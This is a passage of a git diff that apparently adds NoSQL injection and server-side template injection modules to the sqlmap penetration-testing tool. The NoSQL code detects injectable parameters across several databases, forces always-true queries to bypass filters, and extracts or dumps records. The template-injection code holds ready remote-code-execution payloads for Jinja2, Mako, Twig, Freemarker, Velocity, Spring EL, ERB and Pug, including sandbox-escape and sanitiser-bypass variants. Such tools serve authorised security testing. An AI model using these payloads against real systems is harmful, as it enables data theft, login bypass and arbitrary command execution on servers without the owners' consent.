"toString(u[%s])" % _propLiteral(n)) + if record: + cols, values = record + records.append(dict(zip(cols, values[0]))) # align by field name (keys(u) order is per-node) + columns.extend(_ for _ in cols if _ not in columns) + lastId = nodeId + else: + logger.warning("hit the NOSQL_MAX_RECORDS (%d) cap; some records may be omitted" % NOSQL_MAX_RECORDS) + + return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None + +def _partiqlValue(place, parameter, bind, field): + """Blind extraction of `field` for the bound record on a DynamoDB PartiQL point. PartiQL has no + regexp, so each character is recovered by an ordered string comparison (field >= 'prefix'+char), + bisected over the printable-ASCII range. Returns the value or None""" + + quote = lambda value: value.replace("'", "''") # PartiQL escapes a single quote by doubling it + fetch = lambda payload: _fetchValue(place, parameter, payload) + template = fetch("%s' OR %s%s >= '" % (NOSQL_SENTINEL, bind, field)) # field >= '' -> bound record matches + if not template or _isError(template): + return None + + truth = lambda value: _ratio(fetch("%s' OR %s%s >= '%s" % (NOSQL_SENTINEL, bind, field, quote(value))), template) > UPPER_RATIO_BOUND + + retVal = "" + while len(retVal) < NOSQL_MAX_LENGTH: + if not truth(retVal + chr(NOSQL_CHAR_MIN)): # no character at this position -> end of value + break + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth(retVal + chr(mid)): + lo = mid + else: + hi = mid - 1 + retVal += chr(lo) + + return retVal or None + +def _partiqlDump(place, parameter, key): + """DynamoDB PartiQL: comparison-extract the injected field, bound to its record by sibling + parameters (PartiQL exposes no key-enumeration, so the dumpable field is the injected one)""" + + bind = _constraint(place, parameter, "=", " AND ", prefix="") + if not bind: # need a sibling to pin a single record + return None + value = _partiqlValue(place, parameter, bind, key) + return ([key], [[value]]) if value is not None else None + +def _extract(template, fetchFn, lengthValue, charValue, truthFn=None): + """Blind value recovery: binary-searches the length, then bisects each character's codepoint over + the printable-ASCII range using regexp character-class ranges (sqlmap-style inference, ~log2(range) + requests per character instead of a linear scan - far smaller WAF/log footprint). lengthValue(n) + and charValue(known, charClass) render the dialect payload; the oracle is the content ratio against + `template` by default, or `truthFn(payload)` (e.g. the $where timing predicate)""" + + truth = truthFn or (lambda value: _ratio(fetchFn(value), template) > UPPER_RATIO_BOUND) + + length, probe = 0, 1 + while probe <= NOSQL_MAX_LENGTH and truth(lengthValue(probe)): + length, probe = probe, probe * 2 + + low, high = length, min(probe, NOSQL_MAX_LENGTH + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth(lengthValue(mid)): + low = mid + else: + high = mid + + if not low: + return None + + debugMsg = "retrieving the value (%d characters)" % low + logger.debug(debugMsg) + + retVal = "" + for _ in xrange(low): + lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX + if not truth(charValue(retVal, _klass(lo, hi))): + retVal += '?' # character outside the printable-ASCII range + continue + while lo < hi: + mid = (lo + hi) // 2 + if truth(charValue(retVal, _klass(lo, mid))): + hi = mid + else: + lo = mid + 1 + retVal += chr(lo) + + return retVal + +def _resolve(place, parameter, key): + """Tries each NoSQL dialect in turn; the first that detects fixes the back-end and the extraction + payloads. Returns a Vector (whose `template`/`lengthValue` are None for detection-only back-ends) + or None when nothing matches""" + + field = "u.%s" % key + + template = _detectMongo(place, parameter) + if template: + return Vector(_fingerprintMongo(place, parameter), + lambda value: _fetch(place, parameter, "$regex", value), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^%s%s" % (re.escape(known), klass), + template=template, bypass='{"$ne": null}') + + template = _detectES(place, parameter) + if template: + return Vector(_fingerprintLucene(place, parameter), + lambda value: _fetchValue(place, parameter, value), + lambda n: "/.{%d,}/" % n, + lambda known, klass: "/%s%s.*/" % (_lucene(known), klass), + template=template, bypass='*') + + template = _detectCypher(place, parameter) + if template: + constraint = _constraint(place, parameter) + + # Neo4j Cypher, Couchbase N1QL and DynamoDB PartiQL all share the ' OR '1'='1 break-out; tell + # them apart by the regexp/string primitive the back-end honors ('=~', 'REGEXP_CONTAINS', or + # PartiQL 'begins_with') + if not _confirm(place, parameter, "%s' OR %s%s =~ '.*" % (NOSQL_SENTINEL, constraint, field), "%s' OR %s%s =~ '%s" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL)): + if _confirm(place, parameter, "%s' OR REGEXP_CONTAINS(%s, '.*') OR '1'='2" % (NOSQL_SENTINEL, field), "%s' OR REGEXP_CONTAINS(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, field, NOSQL_SENTINEL)): + return Vector("Couchbase", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' OR REGEXP_CONTAINS(%s, '^.{%d,}') OR '1'='2" % (NOSQL_SENTINEL, field, n), + lambda known, klass: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, field, _quoted(_javaEscape(known) + klass)), + template=template, bypass="' OR '1'='1", + dump=lambda: _enumDump(place, parameter, + lambda expr, rb: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, expr, rb), + lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % _propLiteral(n))) + + if _confirm(place, parameter, "%s' OR begins_with(%s, '') OR '1'='2" % (NOSQL_SENTINEL, key), "%s' OR begins_with(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, key, NOSQL_SENTINEL)): + return Vector("DynamoDB", None, None, None, template=template, bypass="' OR '1'='1", + dump=lambda: _partiqlDump(place, parameter, key)) + + return Vector("Neo4j", None, None, None, template=template, bypass="' OR '1'='1", + dump=lambda: _cypherDump(place, parameter) or _enumDump(place, parameter, + lambda expr, rb: "%s' OR %s%s =~ '^%s.*" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n))) + + template = _detectAQL(place, parameter) + if template: + constraint = _constraint(place, parameter, "==", " && ") + + # ArangoDB AQL and MongoDB $where (server-side JavaScript) both satisfy the ' || '1'=='1 + # break-out; tell them apart by which regexp-match primitive holds - AQL '=~' or a JS /re/.test() + if not _confirm(place, parameter, "%s' || ('x' =~ '.') || '1'=='2" % NOSQL_SENTINEL, "%s' || ('x' =~ 'y') || '1'=='2" % NOSQL_SENTINEL) \ + and _confirm(place, parameter, "%s' || /./.test('x') || '1'=='2" % NOSQL_SENTINEL, "%s' || /y/.test('x') || '1'=='2" % NOSQL_SENTINEL): + bound = _constraint(place, parameter, "==", "&&", prefix="this.") + whereTemplate = _fetchValue(place, parameter, "%s' || (%sthis.%s) || '1'=='2" % (NOSQL_SENTINEL, bound, key)) + return Vector("MongoDB ($where)", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' || (%sthis.%s&&this.%s.length>=%d) || '1'=='2" % (NOSQL_SENTINEL, bound, key, key, n), + lambda known, klass: "%s' || (%sthis.%s&&/^%s%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, _javaEscape(known), klass, key), + template=whereTemplate, bypass="' || '1'=='1") + + return Vector("ArangoDB", + lambda value: _fetchValue(place, parameter, value), + lambda n: "%s' || (%s%s =~ '^.{%d,}') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, n), + lambda known, klass: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, _quoted(_javaEscape(known) + klass)), + template=template, bypass="' || '1'=='1", + dump=lambda: _enumDump(place, parameter, + lambda expr, rb: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, expr, rb), + lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % _propLiteral(n))) + + numeric = _detectNumeric(place, parameter) + if numeric: + dbms, template, bypass = numeric + dump = None + if dbms == "Neo4j": # bind the dump to the injected numeric field (e.g. u.id = 1) + value = (_originalValue(place, parameter) or "1").strip() + dump = lambda: _enumDump(place, parameter, + lambda expr, rb: "%s AND (%s =~ '^%s.*')" % (value, expr, rb), + lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)) + return Vector(dbms, None, None, None, template=template, bypass=bypass, dump=dump) + + threshold = _detectWhere(place, parameter) + if threshold is not None: + bound = _constraint(place, parameter, "==", "&&", prefix="d.") + return Vector("MongoDB ($where)", None, None, None, + dump=lambda: _whereDump(place, parameter, bound, threshold)) + + engine = _detectError(place, parameter) + if engine: + return Vector(engine, None, None, None) + + return None + +def _inband(place, parameter, template): + """In-band data exposure gate: returns the always-true response when it carries materially more + (reflected) content than the original request - i.e. the injection is returning extra records + directly - else None""" + + original = _fetchValue(place, parameter, _originalValue(place, parameter) or "1") + if template and len(template) > len(original) and _ratio(template, original) < UPPER_RATIO_BOUND and not re.search(NOSQL_ERROR_REGEX, template): + return template + return None + +def _clean(cell): + cell = re.sub(r"(?s)<[^>]+>", "", cell) + for entity, char in (("&", '&'), ("<", '<'), (">", '>'), (""", '"'), ("'", "'"), ("'", "'")): + cell = cell.replace(entity, char) + return re.sub(r"\s+", " ", cell).strip() + +def _records(page): + """Parses structured records out of a reflected response - a JSON array of objects or an HTML + table - returning (columns, rows) for a tabular dump, else None""" + + try: + data = json.loads(page, object_pairs_hook=OrderedDict) + rows = data if isinstance(data, list) else next((_ for _ in data.values() if isinstance(_, list)), None) if isinstance(data, dict) else None + rows = [_ for _ in (rows or []) if isinstance(_, dict)] + if rows: + columns = [] + for row in rows: + columns.extend(_ for _ in row if _ not in columns) + return columns, [[("NULL" if row[_] is None else _clean("%s" % row[_])) if _ in row else "" for _ in columns] for row in rows] + except (ValueError, TypeError): + pass + + for body in re.findall(r"(?is)]*>(.*?)", page or ""): + header, rows = None, [] + for index, tr in enumerate(re.findall(r"(?is)]*>(.*?)", body)): + cells = re.findall(r"(?is)]*>(.*?)", tr) + if index == 0 and re.search(r"(?i)]", tr): + header = [_clean(_) for _ in cells] + elif cells: + rows.append([_clean(_) for _ in cells]) + if rows: + width = max(len(_) for _ in rows) + columns = header if header and len(header) == width else ["column_%d" % (_ + 1) for _ in xrange(width)] + return columns, [row + [""] * (width - len(row)) for row in rows] + + return None + +def _grid(columns, rows): + """Renders (columns, rows) as a sqlmap-style ASCII table""" + + widths = [max([len(columns[index])] + [len(row[index]) for row in rows if index < len(row)]) for index in xrange(len(columns))] + separator = '+' + '+'.join('-' * (width + 2) for width in widths) + '+' + line = lambda cells: "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + +def _dumpInband(place, key, page): + """Renders in-band records as a regular sqlmap-style table, or falls back to cleaned text""" + + parsed = _records(page) + if parsed: + columns, rows = parsed + conf.dumper.singleString("NoSQL: %s parameter '%s' in-band records [%d]:\n%s" % (place, key, len(rows), _grid(columns, rows))) + else: + text = re.sub(r"\s+", " ", re.sub(r"(?s)<[^>]+>", " ", page)).strip() + conf.dumper.singleString("NoSQL: %s parameter '%s' in-band data: %s" % (place, key, text[:NOSQL_DUMP_LIMIT])) + +def nosqlScan(): + """Entry point for '--nosql': detects NoSQL injection (MongoDB/CouchDB operator, Lucene + query_string, Cypher/N1QL/AQL string break-out, MongoDB $where time-based, or error-based). On a + confirmed point it tries, in order, to (1) dump records exposed in-band by the always-true payload + and (2) blindly recover the targeted field via the regexp/timing oracle""" + + global NOSQL_SENTINEL + NOSQL_SENTINEL = randomStr(length=10, lowercase=True) + + # NoSQL injection from an application-scoped point is confined to the back-end's single query + # (one collection/label) - it confirms and dumps what that query can reach, with no analog to the + # SQL database/table/user/banner enumeration, so those switches do not apply here + debugMsg = "'--nosql' is self-contained: it confirms the injection and dumps the reachable " + debugMsg += "collection/document. SQL enumeration switches (e.g. --banner, --dbs, --tables, " + debugMsg += "--users, --sql-query) do not map to a NoSQL back-end and are ignored" + logger.debug(debugMsg) + + tested = found = 0 + + for place in (_ for _ in NOSQL_PLACES if _ in conf.paramDict): + # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2 + if place == PLACE.COOKIE and conf.level < 2: + continue + for parameter in list(conf.paramDict[place].keys()): + key = _jsonKey(parameter) + + if conf.testParameter and not any(_ in conf.testParameter for _ in (key, parameter)): + continue + + tested += 1 + infoMsg = "testing NoSQL injection on %s parameter '%s'" % (place, key) + logger.info(infoMsg) + + vector = _resolve(place, parameter, key) + if not vector: + continue + + found += 1 + infoMsg = "%s parameter '%s' is vulnerable to NoSQL injection (back-end: '%s')" % (place, key, vector.dbms) + logger.info(infoMsg) + if conf.beep: + beep() + + # standard sqlmap-style injection-point summary (reproducible vector) + if vector.bypass == '{"$ne": null}': + title, payload = "operator injection", "%s[$ne]=%s" % (key, NOSQL_SENTINEL) + elif vector.bypass == '*': + title, payload = "Lucene query_string injection", "%s=*" % key + elif vector.bypass: + context = "numeric" if vector.bypass[:1].isdigit() else "string" + title, payload = "boolean-based blind (%s)" % context, "%s=%s" % (key, vector.bypass) + elif vector.dump is not None: + title, payload = "time-based blind (server-side JavaScript $where)", "%s=' || (sleep loop) || '" % key + else: + title, payload = "error-based", "%s=%s'" % (key, _originalValue(place, parameter) or "1") + report = "---\nParameter: %s (%s)\n Type: NoSQL injection\n Title: %s %s\n Payload: %s\n---" % (key, place, vector.dbms, title, payload) + conf.dumper.singleString(report) + + if vector.bypass: + infoMsg = "%s parameter '%s' can be coerced always-true with '%s' (e.g. authentication/filter bypass)" % (place, key, vector.bypass) + logger.info(infoMsg) + + dumped = False + + # a named whole-document dump is preferred over the unnamed in-band table + if vector.dump is not None: + infoMsg = "retrieving the reachable document(s)" + logger.info(infoMsg) + records = vector.dump() + if records: + columns, rows = records + infoMsg = "dumped %d record%s (%d field%s)" % (len(rows), 's' if len(rows) != 1 else '', len(columns), 's' if len(columns) != 1 else '') + logger.info(infoMsg) + conf.dumper.singleString("NoSQL: %s parameter '%s' %s:\n%s" % (place, key, "documents" if len(rows) != 1 else "document", _grid(columns, rows))) + dumped = True + + if not dumped and vector.template is not None: + exposure = _inband(place, parameter, vector.template) + if exposure: + infoMsg = "the always-true payload returns additional records (in-band data exposure)" + logger.info(infoMsg) + _dumpInband(place, key, exposure) + dumped = True + + if vector.lengthValue is not None: + value = _extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth) + if value is not None: + conf.dumper.singleString("NoSQL: %s parameter '%s' -> %s" % (place, key, repr(value))) + dumped = True + + if not dumped: + if vector.template is None and vector.truth is None and vector.dump is None: + warnMsg = "injection is detection-only for back-end '%s' (no extraction oracle for this engine)" % vector.dbms + else: + warnMsg = "injection on '%s' is confirmed but yielded no data here: this point exposes only a boolean oracle on a non-extractable (e.g. numeric) field. Target a string-compared parameter (e.g. a login/search field) to blindly read a value" % key + logger.warning(warnMsg) + + if not found: + warnMsg = "no parameter appears to be injectable via NoSQL injection (%d tested)" % tested + logger.warning(warnMsg) + + logger.info("NoSQL scan complete") diff --git a/lib/techniques/ssti/__init__.py b/lib/techniques/ssti/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/ssti/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py new file mode 100644 index 00000000000..d518ca1b80b --- /dev/null +++ b/lib/techniques/ssti/inject.py @@ -0,0 +1,810 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import SSTI_ERROR_SIGNATURES +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request + + +SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST) + +# Each Engine entry defines detection payloads and expected behaviour for one +# template engine. Arithmetic fields use %d placeholders filled with randomInt() +# at probe time so a static "49" on the page cannot produce a false positive. +# Engines are listed in detection-priority order. +Engine = namedtuple("Engine", ( + "name", # human-readable engine name + "family", # language family (python, php, java, ruby, nodejs) + "delimiter", # expression delimiter opening (e.g. "{{") + "delimiterClose", # expression delimiter closing (e.g. "}}") + "errorRegex", # combined engine-specific error regex (None for "no specific signature") + "errorProbes", # tuple of malformed payload suffixes that trigger engine errors + "arithmeticFmt", # arithmetic proof with two %d placeholders (e.g. "{{ %d*%d }}"), or "" + "arithmeticUnescapedFmt", # same with escape bypass (e.g. "{{ (%d*%d)|safe }}"), or "" + "booleanTrue", # boolean true payload + "booleanFalse", # boolean false payload + "trueRendered", # what true renders as (for response matching) + "falseRendered", # what false renders as + "distinguishingProbe", # cross-engine disambiguation probe (None if n/a) + "distinguishingResult", # expected substring from disambiguation probe + "expressionFmt", # format string for wrapping expressions (e.g. "{{ %s }}"), or "" + "rcePayloads", # tuple of (payload_template, description) with {CMD} for command, or () +)) + + +def _arithmeticPayload(fmt, a, b): + # Substitute the two operands into the first two %d tokens by literal replacement rather than + # %-formatting: some engines' delimiters contain a literal '%' (e.g. ERB '<%= ... %>'), where + # fmt % (a, b) raises ValueError and would silently disable arithmetic detection for them. + return fmt.replace("%d", str(a), 1).replace("%d", str(b), 1) + + +def _degroup(text): + # Strip digit-group (thousands) separators so an arithmetic result still matches when the + # engine formats large numbers with grouping (e.g. FreeMarker renders 234*567 as "132,678"). + # Only separators sitting between digits are removed, so ordinary text is untouched. + return re.sub(u"(?<=\\d)[,\u00a0\u202f\u2009']" + u"(?=\\d)", "", getUnicode(text)) + + +_ENGINE_TABLE = ( + # -- Python ------------------------------------------------------------------------------------------- + Engine("Jinja2", "python", + "{{", "}}", + r"(?i)(?:jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError)", + ("{{", "{{ }}", "{{ unknown|filter }}"), + "{{ %d*%d }}", "{{ (%d*%d)|safe }}", + "{{ True }}", "{{ False }}", "True", "False", + None, None, # Jinja2/Twig distinguished by trueRendered ("True"/"False" vs "1"/"") + "{{ %s }}", + # Jinja2: try multiple RCE paths in order (cycler -> config -> lipsum -> attr()-chain). + # The last one is dot-/underscore-free (filters + \x5f-escaped dunders), bypassing + # sanitisers that block '.'/'_' (the CVE-2025-23211 Tandoor technique). + (("{{ cycler.__init__.__globals__.os.popen('{CMD}').read() }}", "cycler.__globals__"), + ("{{ config.from_envvar.__globals__.__builtins__.__import__('os').popen('{CMD}').read() }}", "config.from_envvar chain"), + ("{{ lipsum.__globals__.os.popen('{CMD}').read() }}", "lipsum.__globals__"), + ("{{ cycler|attr('\\x5f\\x5finit\\x5f\\x5f')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('os')|attr('popen')('{CMD}')|attr('read')() }}", "attr() filter chain (dot/underscore-free)"))), + Engine("Mako", "python", + "${", "}", + r"(?i)(?:mako\.exceptions\.\w+|mako\.runtime|CompileException|SyntaxException)", + ("${", "${}", "<%", "<%!"), + "${%d*%d}", "", + "${True}", "${False}", "True", "False", + None, None, # capital True/False uniquely identifies Mako within the ${ } family (Freemarker/Spring render lowercase true/false) + "${%s}", + # Mako: popen captures output; self.module.runtime path needs no <%import%> preamble + (("${self.module.runtime.util.os.popen('{CMD}').read()}", "self.module.runtime.util.os.popen"), + ("<%import os%>${os.popen('{CMD}').read()}", "import os + popen"))), + # -- PHP ---------------------------------------------------------------------------------------------- + Engine("Twig", "php", + "{{", "}}", + r"(?i)(?:Twig[\\_]Error|Twig[\\_]Environment|syntax error, unexpected|Unknown (?:filter|function|test|tag))", + ("{{", "{{ }}", "{{ unknown|filter }}"), + "{{ %d*%d }}", "{{ (%d*%d)|raw }}", + "{{ true }}", "{{ false }}", "1", "", + # '_self' renders 'Twig_Template' (Twig 1) or '__string_template__...' (Twig 2/3); + # 'emplate' is the substring common to both, so the probe is version-stable + "{{ _self }}", "emplate", + "{{ %s }}", + # Twig: filter() chain first; then sort()/map() callbacks, which double as classic + # sandbox escapes when 'filter' is not on the policy allow-list (DEEP1 Phishtale) + (("{{ ['{CMD}']|filter('system') }}", "filter('system')"), + ("{{ ['{CMD}']|filter('exec') }}", "filter('exec')"), + ("{{ ['{CMD}']|filter('shell_exec') }}", "filter('shell_exec')"), + ("{{ ['{CMD}', '']|sort('system')|join }}", "sort('system') sandbox escape"), + ("{{ ['{CMD}']|map('system')|join }}", "map('system') sandbox escape"))), + # -- Java --------------------------------------------------------------------------------------------- + Engine("Freemarker", "java", + "${", "}", + r"(?i)(?:freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException)", + ("${", "${}", "<#if ", "<#--"), + "${%d*%d}", "${(%d*%d)?no_esc}", + # modern FreeMarker errors on a bare ${true} ("boolean_format"); ?c gives the + # computer-format "true"/"false" string, so the boolean oracle works on real FreeMarker + "${true?c}", "${false?c}", "true", "false", + # Freemarker '?builtin' syntax (SpEL/Thymeleaf can't parse '?upper_case' -> errors there), + # giving an intrinsic, non-empty discriminator from Spring within the shared '${ }' family + '${"sstimark"?upper_case}', "SSTIMARK", + "${%s}", + # Freemarker: classic -> indirect-assign fallback + (("${'freemarker.template.utility.Execute'?new()('{CMD}')}", "Execute?new"), + ("<#assign ex='freemarker.template.utility.Execute'?new()>${ex('{CMD}')}", "assign+new"))), + Engine("Velocity", "java", + "$", "", + r"(?i)(?:org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException)", + ("$", "#if(", "#set($x=)"), + "", "", + "#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE", + "#* velocity *#", "", + "", # no generic expression wrapper + # Velocity (pre-2.3; patched by CVE-2020-13936). Primary: portable String.class.forName() + # reflection chain - needs NO velocity-tools $class in the context - reading the process + # stdout byte-by-byte so the command output is rendered in-band. Fallback: the velocity-tools + # ClassTool ($class) form, for apps that expose it. + (("#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))" + "#set($chr=$x.class.forName('java.lang.Character'))" + "#set($str=$x.class.forName('java.lang.String'))" + "#set($ex=$rt.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())" + "#set($out=$ex.getInputStream())" + "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "String.class.forName chain"), + ("#set($str=$class.inspect('java.lang.String').type)" + "#set($chr=$class.inspect('java.lang.Character').type)" + "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())" + "#set($out=$ex.getInputStream())" + "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "ClassTool chain"))), + Engine("Spring EL / Thymeleaf", "java", + "${", "}", + r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)", + ("${", "${}", "#{", "*{"), + "${%d*%d}", "", + "${true}", "${false}", "true", "false", + # SpEL Java method call (Freemarker uses '?upper_case', not '.toUpperCase()' -> errors + # there), giving an intrinsic, non-empty discriminator from Freemarker in '${ }' + "${'sstimark'.toUpperCase()}", "SSTIMARK", + "${%s}", + # SpEL: read the process stdout (so output is captured, not just a Process object); + # then a blind exec; then the OGNL form for engines that parse OGNL instead of SpEL + (("${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('{CMD}').getInputStream())).readLine()}", "SpEL readLine (output)"), + ("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec (blind)"), + ("${(#rt=@java.lang.Runtime@getRuntime()).exec('{CMD}')}", "OGNL @Runtime@getRuntime (blind)"))), + # -- Ruby --------------------------------------------------------------------------------------------- + Engine("ERB", "ruby", + "<%=", "%>", + r"(?i)(?:erb|SyntaxError|undefined local variable|no implicit conversion|wrong number of arguments|\(erb\):\d+)", + ("<%=", "<%", "<%#", "<%= foo.unknown_method %>"), + "<%= %d*%d %>", "<%= raw %d*%d %>", + "<%= true %>", "<%= false %>", "true", "false", + "<%= defined? Rails %>", "", + "<%= %s %>", + # ERB: backtick captures output; system() returns only exit status + (("<%= `{CMD}` %>", "backtick"),)), + # -- Node.js ------------------------------------------------------------------------------------------ + Engine("Pug/Jade", "nodejs", + "#{", "}", + r"(?i)(?:pug|jade|Cannot read propert|is not a function|TypeError|ReferenceError)", + ("#{", "!{", "#{ }"), + "#{%d*%d}", "!{%d*%d}", + "#{true}", "#{false}", "true", "false", + None, None, + "#{%s}", + (("#{global.process.mainModule.require('child_process').execSync('{CMD}')}", "execSync"),)), + Engine("Handlebars", "nodejs", + "{{", "}}", + r"(?i)(?:handlebars|Handlebars|Parse error on line|\{\{[\w.]+\}\})", + ("{{", "{{#if}}", "{{/each}}"), + "", "", + "{{#if true}}yes{{/if}}", "{{#if false}}yes{{/if}}", "yes", "", + None, None, + "", # no generic expression wrapper without registered helpers + ()), # RCE requires pre-registered helpers; not generically exploitable +) + + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + """Issue a single HTTP request with the target parameter set to `value`. + Temporarily mutates conf.parameters so sqlmap's normal request machinery + (URL construction, cookies, headers, encodings) is fully preserved.""" + + if conf.delay: + time.sleep(conf.delay) + + old_params = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + + try: + kwargs = {"raise404": False, "silent": True} + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, _ = Request.getPage(**kwargs) + return page or "" + except Exception as ex: + logger.debug("SSTI probe request failed: %s" % getUnicode(ex)) + return "" + finally: + conf.parameters[place] = old_params + + +def _isError(page, engine): + if not engine.errorRegex: + return False + return bool(re.search(engine.errorRegex, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for name, regex in SSTI_ERROR_SIGNATURES: + if re.search(regex, page): + return name + return None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge. + Both true AND false pages must be independently reproducible.""" + + truePage = truthy() + if truePage is None: + return None + + truePage2 = truthy() + if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None: + return None + + falsePage2 = falsy() + if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND: + return None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _probeArithmetic(place, parameter, engine): + """Inject a random arithmetic expression and its control pair (different + operands, different result). Both results must appear for their respective + payloads and NOT bleed across, proving the template is executing the expression + rather than a static '49' appearing on the page by coincidence.""" + + if not engine.arithmeticFmt: + return False + + original = _originalValue(place, parameter) or "" + a, b = randomInt(3), randomInt(3) + c = b + 1 # different operand -> different result + + result1 = str(a * b) + result2 = str(a * c) + + for fmt in (engine.arithmeticFmt, engine.arithmeticUnescapedFmt): + if not fmt: + continue + + try: + p1 = original + _arithmeticPayload(fmt, a, b) + p2 = original + _arithmeticPayload(fmt, a, c) + except (ValueError, TypeError): + logger.debug("SSTI arithmetic: format failed for engine '%s' with fmt=%r" % (engine.name, fmt)) + continue + + page1 = _send(place, parameter, p1) + page2 = _send(place, parameter, p2) + + if not page1 or not page2: + continue + + text1 = getUnicode(page1) + text2 = getUnicode(page2) + + # Raw payload reflection means the template did NOT execute + if p1 in text1 or p2 in text2: + continue + + # Match against a digit-group-stripped copy so a grouped result (e.g. FreeMarker's + # "132,678") still counts; the raw-reflection check above stays on the original text. + norm1, norm2 = _degroup(text1), _degroup(text2) + + # Each result must appear in its own response and NOT in the other + if result1 in norm1 and result2 not in norm1 and result2 in norm2 and result1 not in norm2: + return True + + return False + + +def _probeError(place, parameter, engine): + """Inject each error probe suffix and check for engine-specific error messages.""" + if not engine.errorRegex or not engine.errorProbes: + return None + + original = _originalValue(place, parameter) or "" + + for probe in engine.errorProbes: + payload = original + probe + page = _send(place, parameter, payload) + if not page: + continue + if _isError(page, engine): + return page + return None + + +# A divide-by-zero error is language-family specific, which separates engines that SHARE a +# delimiter but run on different runtimes (Jinja2/Python vs Twig/PHP in '{{ }}', or Mako/Python +# vs Freemarker/Spring/Java in '${ }'). Matching is case-SENSITIVE so Python's lowercase +# 'division by zero' is not confused with PHP's capitalised 'Division by zero'. JS is omitted on +# purpose: 1/0 yields Infinity there rather than an error, so it carries no family signal. +_FAMILY_DIVZERO = ( + ("python", re.compile(r"division by zero")), + ("ruby", re.compile(r"divided by 0")), + 